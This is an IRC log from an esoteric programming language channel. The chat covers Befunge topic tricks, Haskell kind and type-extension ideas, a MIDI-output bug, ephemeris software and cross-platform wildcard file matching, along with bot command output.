13:25:39 <HackEgo> ? \ @ \ No \ addquote \ allquotes \ calc \ define \ delquote \ etymology \ forget \ fortune \ frink \ google \ hatesgeo \ json \ k \ karma \ karma+ \ karma- \ learn \ log \ logurl \ macro \ marco \ paste \ pastekarma \ pastelog \ pastelogs \ pastenquotes \ pastequotes \ pastewisdom \ pastlog \ ping \ prefixes \ qc \ quote \ quotes \ roll \ searchlog \ toutf8 \ translate \ translatefromto \ translateto \ units \ url
13:25:53 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.29440
13:26:12 <HackEgo> 807) <fizzie> fungot: Yeah, "fungott" would [...] remind people of elliott. <fungot> fizzie: now that could be nice for a simple language can be used
13:26:49 <fizzie> Funny reply for `? there.
13:26:58 <Taneb> It took too many tries to add that quote. I tried /, !, and ^ before getting it right
13:27:32 <fungot> fizzie: aha... mediawiki takes care of such odd cases. so i sad down and wrote 30 lines of c
13:27:36 <HackEgo> fungot cannot be stopped by that sword alone.
13:27:48 <HackEgo> JbQ.3IG.m-l6c.'\..=q)^..3.X..7mB3^d.9Z.).a...GlӟM;ew4?쮊8,..^J9;Y4.sX\bj1@'h\rNX}8'/j_-..IΕ.ߎd;.6'_mE.c@K7. \ X.g2&d3.ųM.rJl]]C..dt{*bttٍ#j.UZU"V`N_rlI.ZY#. \ ]v6}3rP&n.(7Ns.8evi^jd |..Io<{.+.n`.&7"w.˷$".p;P.%VއvA..wx*PQ6dB^1}u㯗c.
13:28:23 <fizzie> I like the expression "to sad down". (Unless it's just a typo for 'sat'.)
13:28:46 <Taneb> Unfortunately, I believe it's more likely to be the latter
13:29:05 <fizzie> Sadding down is an appropriate prelude for writing some C.
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15:45:19 <pikhq_> Bleh. School's actually open today.
15:45:28 <pikhq_> Not that I'm going in.
15:45:41 <ion> How’s the weather in there?
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17:45:15 <Gregor> Wow, Glass in the /topic.
17:47:54 <fizzie> Gregor: Am I right that it could be the more compact {M[moO!"...."oo.?]} too?
17:48:23 <Gregor> !glass {M[moO!"Let's find out!"oo.?]}
17:48:54 <Gregor> Variables that start with lower-case letters are class variables, so it's namespace pollution is all.
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17:51:37 <zzo38> tropicOfCancer = (cancer, zeroLat) Ecliptic Tropical Earth; -- I am trying to think of a kind of ephemeris software in Haskell........
17:52:55 <zzo38> tropicOfCancer = FixedSphericalCoordinates (cancer, zeroLat) Ecliptic Tropical Earth;
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17:57:31 <zzo38> Ephemeris is a way to figure out position of planets, sun, moon, etc
17:57:47 <zzo38> By using calculation instead of having to do observation
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18:03:31 <hagb4rd> do you _believe_ the the celectial bodies affect our lifes in some way?
18:04:14 <zzo38> hagb4rd: Mostly the sun and moon; the others wouldn't do much. But I don't believe they affect our lives in the way that astrologers say they do; they are just using superstitious stuff.
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18:05:25 <hagb4rd> so why that interest in astrology? is just a technical challange?
18:05:45 <pikhq_> I'm pretty sure that's just it.
18:06:02 <zzo38> Yes, as well as the things in common to astrology with astronomy, and some things are useful in both even if not common in either, I suppose.
18:09:55 <zzo38> When doing some kinds of calculation (including calendars), conventions of both astrology and astronomy can be useful; in addition, astrology does have some artistic uses even though divination doesn't work. So, functions of ephemeris can be useful for astronomy as well; and I know about their conventions such as right ascensions, declination, hour angle, etc.
18:11:17 <zzo38> Someone once wrote a article about astrology for astronomers. They tell how the conventions are similar and differences, and aspects, and so on. In my opinion, it is useful to combine astrology, astronomy, and calendar date/time stuff, into one program, since all three functions can be used together.
18:13:10 <hagb4rd> sure. there is a common determinator between both of them
18:14:30 <hagb4rd> 'though im not sure if between is the correct proposition
18:15:41 <hagb4rd> there are things known and unknown.. and in between is hagb4rds ignorance
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18:36:45 <Gregor> I think the worst thing about astrology is that the existence of the pseudoscience prevents us from investigating the social science of actual connections between birthdates and personalities, which would naturally stem from the interaction between environment and mating behavior of any animals with a short estrous cycle (e.g. humans).
18:37:35 <zzo38> Gregor: People can do it if they want to! But the exist does make people argue about it probably; still, some people can try to do so.
18:40:38 <zzo38> Do *you* have ideas how to do so more specifically, anyways??
18:41:54 <hagb4rd> i dunno.. guess its like tarot. it helps us to reflect on ourselfs
18:42:49 <pikhq_> Aaah, tarot. European card games used for divination.
18:43:31 <zzo38> hadb4rd: Well, yes, you can reflect on ourselves using various divinatory methods (but not for divination). You probably mean cartomancy rather than tarot; tarot is simply a deck of cards. Psychological cartomancy uses a tarot deck with more art than ordinary decks; you could probably find an article about that.
18:46:05 <zzo38> I do know a few games involving tarot cards, including a few modern ones, and one which uses icehouse pyraminds in addition to the cards.
18:46:51 <hagb4rd> i was studying crowley for a while
18:47:54 <hagb4rd> guess the problem bout science and axioms is it answers how but not why
18:48:32 <zzo38> Science can answer why to a limited extent. Kind of.
18:48:55 <zzo38> Of course there are problems with science but it is the best we have.
18:49:45 <hagb4rd> to quote s.o. i do not know: problems are hidden opportunities ;)
18:50:07 <zzo38> hagb4rd: Yes, that too! Is good.
18:51:09 <zzo38> One example of artistic use for astrology is someone made up a time of birth for Harry Potter. (Of course it is still arbitrary like many arts but at least they have something to do.)
18:57:18 <Sgeo> The best way to reflect yourself is with a mirror.
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20:17:47 <oerjan> > reverse "elliott sacked as bearer of Element of Loyalty, seeking pegasus replacement | http://codu.org/logs/_esoteric/ | Now slightly on-topic | Now failing to construct an esolang in THE. WORST. POSSIBLE. WAY."
20:17:48 <lambdabot> ".YAW .ELBISSOP .TSROW .EHT ni gnalose na tcurtsnoc ot gniliaf woN | cipot-...
20:18:03 <oerjan> > rev "elliott sacked as bearer of Element of Loyalty, seeking pegasus replacement | http://codu.org/logs/_esoteric/ | Now slightly on-topic | Now failing to construct an esolang in THE. WORST. POSSIBLE. WAY."
20:18:08 <oerjan> ^rev "elliott sacked as bearer of Element of Loyalty, seeking pegasus replacement | http://codu.org/logs/_esoteric/ | Now slightly on-topic | Now failing to construct an esolang in THE. WORST. POSSIBLE. WAY."
20:18:08 <fungot> ".YAW .ELBISSOP .TSROW .EHT ni gnalose na tcurtsnoc ot gniliaf woN | cipot-no ylthgils woN | /ciretose_/sgol/gro.udoc//:ptth | tnemecalper susagep gnikees ,ytlayoL fo tnemelE fo reraeb sa dekcas ttoille"
20:18:32 -!- oerjan has set topic: 0>:#,_@.
20:18:41 -!- oerjan has set topic: 0".YAW .ELBISSOP .TSROW .EHT ni gnalose na tcurtsnoc ot gniliaf woN | cipot-no ylthgils woN | /ciretose_/sgol/gro.udoc//:ptth | tnemecalper susagep gnikees ,ytlayoL fo tnemelE fo reraeb sa dekcas ttoille">:#,_@.
20:19:03 <zzo38> Can you find the mistake in this program? http://sprunge.us/gbUF
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20:30:49 <HackEgo> wanham: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
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20:35:12 <oerjan> so he made it more official http://www.scottaaronson.com/blog/?p=902
20:43:33 <fizzie> Is this just his second $100k thing? Funny how he's already "that guy who always offers $100k for unlikely things".
20:43:53 <oerjan> actually the first one was $200k
20:44:13 <fizzie> Oh, right. Well, "large amount of money" anyways.
20:45:02 <oerjan> i'd suppose gil kalai suggested it in jest, anyway :P
20:45:33 <fizzie> (In not-so-related news, no distribution-related wisdom from the CoaP forum, but 12 views of which only 2 are mine, anyway.)
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20:47:34 <oerjan> make that 13, or something
20:52:07 <oerjan> fizzie: do you have the full sequence of results saved? to check if "every 10 seconds" matters, you might try to graph them in order retrieved or something...
20:53:16 <fizzie> Sure; I guess I'll try that too, when I get to a real computer.
20:54:23 <oerjan> or maybe check if the ratios change much in subintervals
20:56:11 <fizzie> I think the same one was quite consistently 1.3 times the mean during the run. But that's just a feeling.
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21:06:50 <Sgeo> What was the first?
21:06:56 <Sgeo> The first prize thing
21:07:48 <fizzie> Was it that P=NP proof?
21:07:49 <oerjan> to vinay deolalikar in case his P != NP proof turned out to be correct / repairable
21:08:14 <oerjan> which quickly started looking rather unlikely
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21:09:20 <fizzie> oerjan: If only they'd prove P != NP, then we'd finally know that N != 1.
21:09:51 <Taneb> The topic is making me read backwards
21:10:23 <Taneb> !befunge 0".YAW .ELBISSOP .TSROW .EHT ni gnalose na tcurtsnoc ot gniliaf woN | cipot-no ylthgils woN | /ciretose_/sgol/gro.udoc//:ptth | tnemecalper susagep gnikees ,ytlayoL fo tnemelE fo reraeb sa dekcas ttoille">:#,_@
21:10:24 <EgoBot> 48 Unsupported instruction 'Y' (0x59) (maybe not Befunge-93?) \ Unsupported instruction 'A' (0x41) (maybe not Befunge-93?) \ Unsupported instruction 'W' (0x57) (maybe not Befunge-93?) \ 121 Unsupported instruction 'E' (0x45) (maybe not Befunge-93?) \ Unsupported instruction 'L' (0x4c) (maybe not Befunge-93?) \ Unsupported instruction 'B' (0x42) (maybe not Befunge-93?) \ Unsupported instruction 'I' (0x49) (maybe not
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21:10:52 <Taneb> Stringmode doesn't seem to work
21:10:54 <fizzie> Oh, it's been Befungized. (Or is that over 80 characters? Funge-98ized in that case.)
21:11:01 <Taneb> !befunge98 0".YAW .ELBISSOP .TSROW .EHT ni gnalose na tcurtsnoc ot gniliaf woN | cipot-no ylthgils woN | /ciretose_/sgol/gro.udoc//:ptth | tnemecalper susagep gnikees ,ytlayoL fo tnemelE fo reraeb sa dekcas ttoille">:#,_@
21:11:02 <EgoBot> elliott sacked as bearer of Element of Loyalty, seeking pegasus replacement | http://codu.org/logs/_esoteric/ | Now slightly on-topic | Now failing to construct an esolang in THE. WORST. POSSIBLE. WAY.
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21:12:21 <Sgeo> `welcome MoALTz
21:12:25 <HackEgo> MoALTz: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
21:13:06 <oerjan> and in a rare moment of on-topicness, too!
21:13:24 <Taneb> Can I return things to normal?
21:13:48 <oerjan> by "normal" you mean "talking about everything except esolangs", right?
21:14:06 <Taneb> My gran's in hospital
21:14:07 <fizzie> oerjan: So how're things in the *real* esoteric programming channel that you're spying for? Are they all jubilous for our recent... quietudiness?
21:14:46 * oerjan is a single-channel person
21:15:19 <oerjan> Taneb: HEY YOU FREAK, WE DON'T TALK ABOUT THAT HERE
21:15:56 <oerjan> well, i guess it beats hospital talk.
21:16:07 <Taneb> It's a CA, so can someone experienced with ALPACA help me?
21:16:07 <fizzie> It might still be about that.
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21:16:35 <fizzie> We haven't heard details. Maybe it's a hospitals-and-grandmothers-themed CA.
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21:17:12 <oerjan> i don't consider myself "experienced" with ALPACA, although i've read the spec once, i guess
21:17:24 <Taneb> Nah, it's falling down massive shafts based
21:18:06 <fizzie> That doesn't sound like it'd exclude hospitals, almost the opposite.
21:18:18 <Taneb> It doesn't mention hospitals
21:19:30 * oerjan is reminded of the danish "Riget" series (which he's never seen, but which an old student friend loved)
21:19:42 <oerjan> i believe it had both hospitals and shafts.
21:20:00 <oerjan> i'm not quite sure about the shafts.
21:21:47 * oerjan confirms the shafts using google
21:23:01 <oerjan> http://en.wikipedia.org/wiki/The_Kingdom_(TV_miniseries)
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21:28:41 <HackEgo> bbear: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
21:30:12 <bbear> I wanted to know :: do you know if it would ever be possible to program a computer with an infinite amount of memory ?
21:30:37 <oerjan> programming is easy. getting one on the other hand...
21:31:01 <Taneb> bbear, in the real world, it is impossible to create a computer with infinite memory
21:31:30 <bbear> Taneb, we had a discussion about this on ##c
21:32:03 <bbear> but a question slightly different would be if ever such a computer exist, would it be possible to program with it ? Would the « programming » word would have a sense ?
21:32:21 <Taneb> It would definitely be possible to program with it
21:32:47 <fizzie> oerjan: http://users.ics.tkk.fi/htkallas/mezzoseq.png -- Does that look periodic to you? It looks periodic to me.
21:33:50 <fizzie> (It's the ten thousand visits on the X axis, with the small differences in Y axis giving the index of which thing came out. I've just wrapped it into ten lines to make it a bit more clearer.)
21:35:22 <fizzie> Maybe I should permute the indices a bit so that it'd look even more periodic.
21:37:29 <oerjan> from that, one _might_ suspect the script is keeping a counter...
21:38:23 <Taneb> bbear, with something like brainfuck, you could do [+>], which would use up all the memory after an infinite amount of time
21:38:28 <oerjan> if so, the irregularities would be others looking at the page simultaneously.
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21:38:36 <bbear> Can you imagine a language to program games ?
21:38:42 <fizzie> Well, *now* it is very periodic indeed. (Same URL.)
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21:39:31 <Taneb> bbear, you could (if you really want to) program games in brainfuck, assuming you didn't care about graphics
21:39:35 <bbear> Taneb, yeah... I was guessing that an infinite memory could make the system unstable because parts of the system could be uncontrolable in a finite time.
21:39:40 <fizzie> oerjan: Doesn't immediately explain why one value would be biased over the others, though.
21:39:45 <bbear> But here we are talking about every language.
21:39:54 <bbear> I mean i want to free my imagination.
21:40:03 <Taneb> bbear, any part of the system you have accessed, you can access again in finite time
21:40:16 <oerjan> fizzie: hm it looks like it relatively frequently jumps back in the sequence. was your 10 sec retrieval very regular or did you take many breaks?
21:41:26 <oerjan> fizzie: i don't suppose you kept the datestamps? :D
21:42:05 <fizzie> oerjan: The file timestamps are probably still there; but I didn't take any breaks at all.
21:43:09 <fizzie> Of course it was timed with a "sleep 10", so it's not an accurate frequency; in particular the delay between successive fetches depends on how long the fetch itself takes.
21:44:24 <oerjan> hm so if it's timestamp based, random network delay may explain the irregularities
21:45:52 <oerjan> i have a hunch the graph is not accurate enough to see how much it fetches the same twice in a row
21:47:24 <oerjan> fizzie: could you find the frequencies of the _consecutive_ pairs?
21:48:07 <oerjan> it seems that for each item, there's one particular which is most frequently given next, but the alternatives might also give information
21:48:31 <oerjan> (well that's just 2-grams, isn't it.)
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21:49:19 <oerjan> i suppose timestamps are also necessary to check
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21:50:29 <fizzie> oerjan: Hey, there's a DMM reply.
21:50:34 <fizzie> Turns out it's time()%11.
21:52:02 <fizzie> Also the "Wow!" signal, the most common duplicate, is also the one that is the longest. Presumably it has a higher likelihood of taking longer than the ten seconds required to walk backwards in the time()%11 sequence.
21:55:01 <oerjan> i suppose if you gave a table of frequencies, usual order in the common sequence, and page length, that should explain most of it...
21:55:38 <oerjan> the longer, the more likely to redo it. hm right.
21:57:51 <oerjan> are frequencies and length in completely the same order?
21:59:04 <oerjan> well no. i'm pretty sure the Langerhans one was shorter than the Xabadunis.
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22:00:43 <Taneb> > (sum . concat . tails . flip (uncurry enumFromThenTo) 1 . fmap pred . join (,)) 12
22:00:45 <fizzie> I don't think they were, no; just the Wow! signal one was the longest.
22:01:02 <oerjan> since removing the top two made it indistinguishable from uniform, i suppose only the two longest were long enough to overcome the natural variation.
22:01:05 <Taneb> How many things are there on the nth day of christmas
22:01:16 <Taneb> And all preceding ones
22:01:18 <oerjan> fizzie: was the second one at least second longest too?
22:01:26 <Taneb> :t (sum . concat . tails . flip (uncurry enumFromThenTo) 1 . fmap pred . join (,))
22:01:27 <lambdabot> forall a. (Num a, Enum a) => a -> a
22:02:03 <fizzie> oerjan: Counts and byte-sizes: http://sprunge.us/QZPd
22:02:03 <oerjan> > scanl1 (+) $ scanl1 (+) [1..12]
22:02:04 <lambdabot> [1,4,10,20,35,56,84,120,165,220,286,364]
22:02:14 <Taneb> That is likely shorter
22:02:22 <fizzie> Some correlation, but not quite the same order.
22:03:02 <fizzie> Anyway, the sequence seems to quite often step back more than one step, so if there's a bias where those skips happen, then the sequence order would also be a factor.
22:03:17 <Taneb> > (last . scanl1 (+) . scanl1 (+) . enumFromTo 1) 12
22:03:37 <oerjan> maybe it has something to do with exceeding 4096 bytes...
22:04:18 <oerjan> > sum $ scanl1 (+) [1..12]
22:05:07 <oerjan> Taneb: btw did i mention that using null and head/tail instead of pattern matching is usually considered bad haskell style?
22:05:37 <oerjan> especially when you use the null to determine whether the head/tail is safe.
22:05:48 <fizzie> Could also have something to do with other boundaries; the standard MTU (max packet size) tends to be 1500, sometimes smaller, and there's the HTTP overhead + TCP overhead + IP overhead + whatever-is-the-network-layer overhead.
22:08:40 <fizzie> (And it might be gzipped over the HTTP wire.)
22:11:12 <oerjan> fizzie: oh hm to get redone there doesn't have to be a _large_ network delay, just enough to wrap from 0.9 seconds to 11.0 instead of 10.9
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22:20:10 <oerjan> Taneb: oh hm have you logged in as Ngevd since i sent those lambdabot messages?
22:20:49 <zzo38> How can we invent Haskell*#?@~ which is a new kind of group of extensions for Haskell which include many strange thing in addition to the normal things
22:21:02 <Taneb> oerjan, you sent them to Taneb
22:21:17 <Taneb> Yeah, and I cleared them because I logread them
22:22:44 <fizzie> Ohhh, and here I was thinking you thought there was probably something embarrassing in them and therefore @clear'd instead of @messages'd. (I'm not entirely sure why I thought that, since I suppose you'd just have read them privately in that case.)
22:22:45 <oerjan> zzo38: sounds like what the ghc people are doing all time *badum-tish*
22:23:47 <zzo38> oerjan: They are but a lot of things I proposed are the things other people hate. So that is why to invent new one including things too strange for most people in #haskell even though some people in #esoteric might like it, not everyone does
22:24:13 <zzo38> Such as the -XNoEnglishKinds extension which almost everyone in #haskell channel hates
22:24:58 <Taneb> What does -XNoEnglishKinds do?
22:25:29 <oerjan> zzo38: i suspect that if they had considered polymorphic kinds from the start, they would have used alphanumeric kind names from the start too
22:26:20 <zzo38> Taneb: Changes OpenKind back to ? and Constraint to & leaving the alphanumeric names open for custom datakinds and so on
22:27:53 <Taneb> Of course, I don't really know enough to appreciate the significance of that
22:29:20 <Taneb> This, I am afraid, means nothing to me
22:29:37 <zzo38> As well as -XMoreNotation, -XImprovedNaturalNumberKinds, -XInstanceDisambiguation, -XDefaultInstances, -XInlineLLVM, -XTemplateHaskellKinds, and so on... most people hate these things
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22:30:21 <zzo38> And the new macro system as well
22:31:04 <oerjan> it means that the -> type constructor takes two arguments, the first being a boxed or unboxed type, the second being that or an unboxed tuple, and returns a boxed type.
22:31:35 <oerjan> the upshot is that you can have haskell function types that handle some unboxed values, although the functions themselves are always boxed.
22:31:46 <Taneb> What do boxed and unboxed mean in this context?
22:32:01 <Taneb> I feel kinda stupid at the moment
22:32:16 <oerjan> boxed is the usual kind of haskell value, implemented as a pointer to a lazy thunk
22:32:16 <Taneb> For that matter, what does tuple mean in this context?
22:33:36 <oerjan> unboxed is a value represented without pointers and laziness, like a sequence of bytes in any other language
22:33:57 <Taneb> Okay, that makes sense
22:34:08 <Taneb> Seems the wrong way round to me?
22:34:09 <oerjan> ghc uses that internally for efficiency
22:34:43 <oerjan> and an unboxed tuple is a tuple of several unboxed values, which can only be returned from functions, not passed into them.
22:35:27 <oerjan> (the values of an unboxed tuple may end up being put directly on the stack or in registers)
22:35:42 <lambdabot> Source not found. Maybe you made a typo?
22:35:50 <zzo38> As well as -XCompatibility703, -XNoParameterTypeClasses, -XCombinedInstances, -XNoUnicode, -XExtendedOperatorNames, and so on
22:35:52 <oerjan> sadly @src has removed that stuff
22:36:40 <Taneb> So, because functions are boxed, they can flit about in the mind of the haskell program without being in a specific place in memory
22:36:58 <Taneb> But can simultaneously look at bits of memory and other things flitting about
22:37:26 <oerjan> Taneb: unboxed things can be copied of course, like in C...
22:37:52 <oerjan> an example there: Int is implemented as a datatype wrapping an unboxed Int#
22:38:00 <zzo38> I don't know how you call the Haskell that I proposed or how to change GHC or anything like that; write a new one; I don't know how do you know?
22:38:26 <oerjan> ghc's optimizer may frequently remove the entire data wrapping, and handle words in memory instead
22:38:35 <Taneb> Wasn't elliott working on a Haskell Compiler a while back?
22:39:09 <zzo38> oerjan: Yes that is a good idea.
22:39:28 <oerjan> (well of course a data type is also implemented in memory, but with all that laziness support included
22:40:05 <oerjan> Taneb: i don't quite remember.
22:40:35 <Taneb> He was trying to think of a name because Hexham Haskell Compiler looked stupid?
22:41:19 <oerjan> anyway, standard haskell has only one base kind * which is boxed types, while ghc adds a heap of others for supporting unboxed things.
22:41:39 <zzo38> And my proposal added two more + and &
22:42:00 <Taneb> What would they be?
22:42:11 <oerjan> and other haskellers already added & except with the name Constraint
22:42:24 <zzo38> + for natural number types and & is what is now called Constraint
22:43:10 <zzo38> Except mine is different where + is a subkind of * which now means that the built-in type (->) is the type of array with a fixed number of elements.
22:45:12 <zzo38> Another idea is a new kind of n+k patterns (different from the old one) usable both in type level and value level, with types of kind +
22:46:13 <oerjan> zzo38: n+k patterns? now you're just _asking_ for them to hate it :P
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22:47:29 <zzo38> I do hate ordinary n+k patterns
22:47:36 <zzo38> But this is a new kind
22:49:21 <zzo38> Which is only usable with values of types of kind + (as well as types of kind + themself in type level patterns)
22:50:33 <Taneb> I've been thinking about a graphical version of Haskell, possibly similar to Scratch, App Inventor, et al.
22:51:06 <Taneb> It's pretty difficult
22:52:04 <zzo38> oerjan: See? These are a new n+k patterns which are different than the old n+k patterns. I also hate the old n+k patterns but this new kind can explain natural numbers in general
22:54:34 <Taneb> Kinds would make it simpler
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22:57:23 <zzo38> For example: type family X (n :: +) (t :: *); type instance X 0 x = x; type instance X (n + 1) x = X n x -> X n x; is a kind of the new n+k patterns for natural number kinds, at the type level. But they could be used at value level as well.
22:58:17 <zzo38> Is it understand now?
23:01:36 <oerjan> hm except for notation, won't this be essentially that new type-to-kind lifting extension applied to data Nat = Zero | Succ Nat
23:02:26 <oerjan> (i'm not into the details of that, though)
23:04:18 <zzo38> I have read about that, but I don't think it is exactly the same thing, because my proposal puts + as a subkind of * so for example, (100 -> Bool) is a valid type which means an array of 100 bits
23:05:13 <zzo38> (And like I specified, these new n+k patterns would also be usable in value patterns as well as type patterns)
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23:21:16 <zzo38> Another idea is to write new versions of the list operations: length, (!!), findIndex, and so on, using: class Peanoid x where { zeroP :: x; succP :: x -> x; }; class Copeanoid x where { predP :: x -> Maybe x; }; (These are a specific kind of pointed unary systems, and some variations on them.)
23:21:34 <zzo38> This could be done even in existing Haskell compiler, simply using alternative Prelude
23:21:43 <zzo38> Or other libraries can be written easily.
23:24:01 <zzo38> (h : t) !! i = maybe h (t !!) $ predP i; length [] = zeroP; length (h : t) = succP $ length t;
23:25:43 <zzo38> I don't know whether you would prefer new versions of the list operations defined like this or not
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23:49:32 <Gregor> I think I like the word "ciretose"
23:53:20 <zzo38> There doesn't seem very good document for "preprocessor-tools" package.
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00:20:51 <zzo38> Those people in #haskell channels, they don't know my program!!! Can you help me why the file it output won't load in another program?
00:27:13 <zzo38> Can you please tell me why my program is bad??????????????
00:33:31 <lambdabot> Data.Foldable asum :: (Foldable t, Alternative f) => t (f a) -> f a
00:33:50 <oerjan> zzo38: i think choice = asum
00:34:38 <zzo38> oerjan: OK. I put it there just to generalize the Parsec choice function, but thanks for idea
00:35:43 <zzo38> But do you know what is wrong with the MIDI output?
00:36:13 <oerjan> i don't even know MIDI format, alas
00:36:39 <oerjan> i suspect i can only give trivial advice here
00:36:52 <zzo38> Well, if you do find other problems them please notify me anyways
00:37:25 <oerjan> > map sum . tail . inits $ [1,5,7,10]
00:37:40 <oerjan> > scanl1 (+) [1,5,7,10]
00:37:59 <zzo38> O, I didn't know that. Thanks
00:40:41 <lambdabot> forall a. (a -> Bool) -> (a -> a) -> a -> a
00:41:06 <oerjan> i think that's similar to your <<?, although possibly with reversed test
00:42:21 <zzo38> What module is that?
00:44:06 <zzo38> until is different to <<?
00:44:30 <oerjan> i think (<<?) = flip (until . (not .))
00:45:09 <zzo38> <<? is not recursive; until calls itself until it is true but <<? just does once, so it is different
01:07:55 <oerjan> zzo38: your instance Eq Event looks wrong, and the Ord looks equivalent to a default derivation. i think you might just want deriving (Show, Eq, Ord) on the data declaration?
01:10:26 <zzo38> O yes you are correct.
01:10:53 <oerjan> i don't know if the Eq Event bug might cause some trouble
01:10:58 <zzo38> I thought I fixed that already, but I guess I forgot.
01:12:45 <zzo38> That didn't fix it
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02:04:11 <zzo38> Oops! There seems a mistake in preprocessor-tools package it won't parse things such as 0x7 correctly
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03:22:08 <zzo38> What is your opinion of alternative list operations that use Peanoid/Copeanoid classes instead of numeric classes?
03:26:00 <oerjan> hm do you really need more than data Nat = Zero | Succ Nat for this? it seems to me like all others could easily be converted from/to that
03:27:24 <zzo38> Yes they could, but you still might want the functions to result in various types, including numeric types
03:27:32 <oerjan> toNat x = maybe Zero (Succ . toNat) . predP
03:28:30 <oerjan> fromNat Zero = zeroP; fromNat (Succ x) = succP (fromNat x)
03:28:33 <zzo38> oerjan: Yes that works. Mine was just polymorphic so that you can still have: length :: [x] -> Int and so on would still work. In addition to possibly other uses
03:29:27 <zzo38> Similar to genericLength and so on but with different classes
03:29:37 <Sgeo> kallisti, rapdate if you didn't see it
03:30:27 <zzo38> Of course it can be written in different codes and you do not have to use if you do not like it; it is like, they sometimes have alternative Prelude and so on
03:31:16 <oerjan> i wonder if findIndex and friends should return something lazier
03:31:44 <oerjan> data MaybeIndex = Found | NotFound | Later MaybeIndex
03:32:35 <zzo38> Yes that would be lazier you are correct; they could have a lazyFindIndex function which returns that
03:35:39 <zzo38> It would be possible make alternate prelude compatible with standard prelude, using the default instances extension I have proposed, too.
03:41:53 <zzo38> Now I made up a fixAst function which corrects the problem that preprocessor-tools package will not parse 0x45 and things like that; I also added feature to parse 0b110001 and 0'A' as well.
03:42:26 <zzo38> (Where 0'A' is 65)
03:42:56 <zzo38> It will correctly check first whether or not the tokens are adjacent before combining them, so it won't reparse them if the tokens have space in between
03:46:26 <zzo38> However, it also fails at Template Haskell name quotations
03:46:50 <zzo38> Which is more difficult to fix.
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04:48:53 <oklopol> i coded all night. i feel so dirty.
04:55:44 <ion> In what language?
05:08:33 <oklopol> that has nothing to do with feeling dirty
05:08:47 <oklopol> neither does the lack of shower
05:09:10 <Sgeo> oklopol, I'm sure coding in PHP could make you feel dirty
05:09:31 <oklopol> php is horrible. c# is okay, just really annoying.
05:10:54 <zzo38> I know, PHP isn't very good.
05:11:51 <zzo38> Mostly due to some syntax not acceptable (such as f(0)[1] doesn't work) and the way implicit casts work doesn't entirely make sense, and a few other things
05:12:41 <zzo38> JavaScript is clearly better; if you can make library with many stuff of PHP then you can do
05:25:55 <zzo38> Do you know, how in Haskell, to find all files matching the wildcards specification?
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05:58:17 <hagb4rd> wonder if there is an easier way then using filter on regex condition
06:08:05 <kallisti> that already sounds pretty easy.
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06:48:55 <zzo38> hagb4rd: I was watching television so I haven't checked yet
06:50:19 <zzo38> Do you know if a package exists for this purpose?
07:18:33 <hagb4rd> zzo38 there are several regex packages
07:18:53 <zzo38> Such as if you have wildcards and want to search list all files matching those wildcard
07:20:39 <hagb4rd> get list of files with getDirectoryContents
07:21:15 <zzo38> Still, the filespec might include a path; but that can probably be moved too using other functions
07:21:20 <hagb4rd> then use filteredList = filter(regexp files)
07:22:02 <zzo38> But what about: in Windows, filenames are case insensitive, but in UNIX, is case sensitive!
07:22:28 <hagb4rd> learn more about regular expressions
07:22:51 <zzo38> I know how regular expressions works
07:22:53 <pikhq> zzo38: Not (entirely) true.
07:23:07 <pikhq> zzo38: In Win32, filenames are case insensitive.
07:23:34 <pikhq> zzo38: With the NT API, or the POSIX subsystem, on Windows filenames are case sensitive.
07:23:41 <zzo38> hagb4rd: I just told you; it is that it must be matched differently in different operating systems
07:23:55 <hagb4rd> normally one uses * or ? as wildcard
07:24:19 <zzo38> pikhq: Doesn't it depend on the filesystem or something like that? I think I read somewhere that the NT internally uses different rules for different filesystems depending on the driver, or something else
07:24:33 <zzo38> Even though Win32 is always case insensitive
07:24:42 <pikhq> zzo38: Not *really*...
07:25:03 <pikhq> FAT with LFNs is actually case sensitive.
07:26:19 <hagb4rd> ok.. if you want to ignore cs just make them all lowerCase before using regex
07:26:25 <pikhq> (and, indeed, UTF-16)
07:26:42 <zzo38> hagb4rd: That is no good; because then it won't work on UNIX
07:27:28 <zzo38> To do different for Windows and UNIX
07:27:43 <hagb4rd> if you want to use ignore caps do so..if not..
07:27:58 <pikhq> hagb4rd: But that's platform specific.
07:28:28 <pikhq> So, you have to handle them seperately.
07:28:42 <pikhq> The computer isn't psychic.
07:31:08 <hagb4rd> listen.. if we have these files on a unix system, for example.. myfile01, myfile02, myFile01 and myFile02 .. and you can search for my[f,F]ile* or myfile*
07:31:41 <hagb4rd> isnt that what you want to do?
07:31:41 <pikhq> And those match two different sets of files on a UNIX system, but precisely the same set on Windows.
07:32:33 <pikhq> Actually. Screw it, I blame zzo38.
07:33:35 <hagb4rd> <zzo38>Do you know, how in Haskell, to find all files matching the wildcards specification? <--
07:34:18 <hagb4rd> so the wildcard will be the argument for your function right?
07:34:42 <hagb4rd> if so.. you can decide which wildcard to use dependig on the case
07:37:04 <hagb4rd> sorry, maybe i did not understand the use case of your code
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11:36:26 <Taneb> Just finished my implementation of Langton's Ant in Haskell
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13:53:23 <Taneb> There's actually a new esolang!
13:53:33 <Taneb> It's a bf derivative, but that's better than spam
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14:49:09 <Phantom_Hoover> BF derivatives are a cancer running throughout the fringes of the esolang community, and as the fringes vastly outweigh the core, we're screwed.
14:50:19 <fizzie> They're also a great way to get a rant out of a Phantom_Hoover.
15:44:15 <kallisti> do you guys know who Dale Earnhardt is?
15:47:41 <fizzie> Did it have something to do with... driving?
15:47:52 <fizzie> Or some sort of real-world activity.
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15:52:21 <fizzie> I think Something Positive made a bad-taste joke about his death, or something.
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16:00:17 <kallisti> I learned from my mother today that we're distantly related to Dale Earnhardt.
16:00:24 <kallisti> I thought that was slightly hilarious.
16:05:07 <Taneb> Alas, the most famous person that there's rumours I'm related to is me.
16:05:48 <HackEgo> 476) <Taneb> That offers me some social standing, feudal system wise
16:06:13 <Taneb> No, past me, it really doesn't
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17:08:05 <variable> http://lambda-the-ultimate.org/node/4444
17:08:10 <variable> this is an interesting thought
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19:44:52 -!- ais523 has set topic: ".YAW .ELBISSOP .TSROW .EHT ni gnalose na tcurtsnoc ot gniliaf woN | cipot-no ylthgils woN | /ciretose_/sgol/gro.udoc//:ptth | tnemecalper susagep gnikees ,ytlayoL fo tnemelE fo reraeb sa dekcas ttoille">:#,_@.
19:44:55 <ais523> stack starts full of zeroes
19:45:03 <ais523> no need to put one there right at the start of the program
